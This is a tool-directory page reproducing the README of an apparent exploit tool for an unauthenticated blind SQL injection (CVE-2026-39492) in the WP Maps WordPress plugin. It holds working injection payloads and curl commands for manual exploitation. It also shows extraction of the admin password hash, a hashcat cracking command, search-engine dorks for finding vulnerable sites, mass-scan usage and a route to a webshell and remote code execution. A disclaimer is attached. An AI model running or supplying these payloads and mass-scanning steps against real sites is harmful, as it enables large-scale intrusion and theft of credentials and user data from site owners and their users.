Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/shinthink/cve-2026-39492
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubshinthink/cve-2026-39492

CVE-2026-39492

CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 Unauthenticated Blind SQL Injection Mass Scanner | sqlmap-style detection | backtick bypass esc_sql() | 100K+ installs

View Repository
112 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39492 — WP Maps Blind SQL Injection Scanner

Pre-Auth Time-Based Blind SQLi via Backtick Bypass → DB Extraction


Overview

CVE-2026-39492 is a critical-severity (CVSS 9.3) unauthenticated blind SQL injection vulnerability in the WP Maps plugin (wp-google-map-plugin) versions ≤ 4.9.1.

The wpgmp_ajax_call AJAX handler is registered via wp_ajax_nopriv_ for unauthenticated access. The parameter is passed through — a function that incorrectly treats as a trusted SQL column identifier, completely bypassing WordPress's sanitization.

location_id
FlipperCode_Model_Base::is_column()
backtick-wrapped input
esc_sql()

Affected Versions

WP Maps VersionStatus
≤ 4.9.1Vulnerable
≥ 4.9.2Patched

Active installs: 100,000+


Vulnerability Mechanism

Root Cause

In the plugin's database abstraction layer, is_column() checks if user input is wrapped in backticks:

root@kitploit:~
// Vulnerable: backtick-wrapped input treated as trusted column identifier
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // bypasses esc_sql() entirely!
    }
    return false;
}

When is_column() returns true, the input is passed directly to the SQL query without esc_sql() escaping. This allows:

root@kitploit:~
location_id=`1` AND SLEEP(5) AND `1`=`1

Attack Flow

root@kitploit:~
1. Detect WP Maps via readme.txt → extract version
2. POST to /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inject backtick-wrapped payload in location_id parameter
4. Measure response time — SLEEP(N) confirms SQL injection
5. Extract data via boolean/time-based blind technique

Why CVSS 9.3

MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged (impacts entire DB)
ConfidentialityHigh
IntegrityNone
AvailabilityLow

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

Usage

root@kitploit:~
# Single target detection
python cve_2026_39492.py -t target.com

# Mass scan
python cve_2026_39492.py -f targets.txt

# Mass scan + save results
python cve_2026_39492.py -f targets.txt -o sqli.txt

# Single target with credential extraction
python cve_2026_39492.py -t target.com --extract -v

# Verbose output
python cve_2026_39492.py -t target.com -v

Arguments

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets to file
  --threads         Concurrent workers (default: 20)
  --extract         Extract admin credentials from confirmed targets
  -v, --verbose     Show detailed output

Proof of Concept

Single Target

root@kitploit:~
$ python cve_2026_39492.py -t target.com -v
root@kitploit:~
  CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
  CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass

  Target: WP Maps (wp-google-map-plugin) <= 4.9.1
  Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
  Bypass: backtick-wrapped input bypasses esc_sql()

    [+] WP Maps detected: v4.9.0
    [*] SQLi test: 6.2s (threshold: 5s)
    [+] Blind SQLi CONFIRMED (response: 6.2s)

  Host        : target.com
  WP Maps     : YES v4.9.0
  SQLi        : YES
  Resp time   : 6.2s
  Time        : 7.1s

With Credential Extraction

root@kitploit:~
$ python cve_2026_39492.py -t target.com --extract -v
root@kitploit:~
    [+] Blind SQLi CONFIRMED (response: 5.8s)
    [*] Extracting admin credentials via blind SQLi...
    [*] Extracting: admin_user
    [*] Extracting: $P$BqVg...

  Admin User  : admin_user
  Admin Hash  : $P$BqVg7xX...

Mass Scan

root@kitploit:~
  CVE-2026-39492  WP Maps Blind SQLi Scanner
  Targets: 2500 | Threads: 20
  Vector: wpgmp_ajax_call → location_id backtick bypass
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2s  v4.9.0       resp:6.2s
  [SQLi]    wp-maps-site.com                                5.8s  v4.8.5       resp:5.8s
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  Scan complete  |  Time: 320s
  ───────────────────────────────────────────────────────
  Targets        : 2500
  WP Maps found  : 47
  SQLi confirmed : 12

Manual Exploitation

Step 1 — Detect plugin

root@kitploit:~
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

Step 2 — Test SQLi with SLEEP

root@kitploit:~
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# Response > 5 seconds → VULNERABLE

Step 3 — Extract admin hash via blind SQLi

root@kitploit:~
# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# Response > 3 seconds → first char is ASCII 36 = '$'

Step 4 — Crack hash & login → full RCE

root@kitploit:~
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

FOFA Dork

root@kitploit:~
body="wp-google-map-plugin"

Shodan

root@kitploit:~
http.html:"wp-google-map-plugin"

Impact

Successful exploitation allows extraction of the entire WordPress database:

  • Admin password hashes → crack → admin login → plugin upload → RCE
  • User PII, emails, session tokens
  • API keys stored in wp_options
  • If MySQL FILE privilege exists: SELECT ... INTO OUTFILE → webshell → direct RCE

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

This software is intended for security professionals conducting authorized penetration tests, organizations auditing their own infrastructure, and researchers studying vulnerability exploitation.

Unauthorized access to computer systems is illegal and may violate:

  • United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonesia: UU ITE Pasal 30 & 46
  • European Union: Directive 2013/40/EU
  • United Kingdom: Computer Misuse Act 1990

The authors assume no liability for misuse.


References

ResourceLink
IONIX Advisoryionix.io/threat-center/cve-2026-39492
WPScan Advisorywpscan.com/vulnerability/c1f19d2e
Wordfence Advisorywordfence.com
NVD EntryCVE-2026-39492
Plugin Tracwp-google-map-plugin

This project is not affiliated with Flipper Code or WP Maps.

Download Tool